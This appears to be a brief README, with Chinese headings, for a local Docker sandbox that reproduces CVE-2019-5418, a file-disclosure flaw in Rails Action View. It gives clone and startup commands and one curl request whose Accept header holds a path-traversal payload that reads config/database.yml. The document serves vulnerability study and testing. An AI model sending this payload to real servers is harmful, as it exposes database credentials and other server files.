CVE-2019-5418 PoC — Action View 信息泄露漏洞

介绍

# CVE-2019-5418 sandbox

[https://groups.google.com/forum/#!msg/rubyonrails-security/zRNVOUhKHrg/GmmcVXcmAAAJ](https://groups.google.com/forum/#!msg/rubyonrails-security/zRNVOUhKHrg/GmmcVXcmAAAJ)

### initialize

```
$ git clone https://github.com/takeokunn/CVE-2019-5418
$ cd https://github.com/takeokunn/CVE-2019-5418
$ docker-compose up
```


### Usage

```
$ curl localhost/sandbox -H 'Accept: ../../config/database.yml{{'
```

文件快照

备注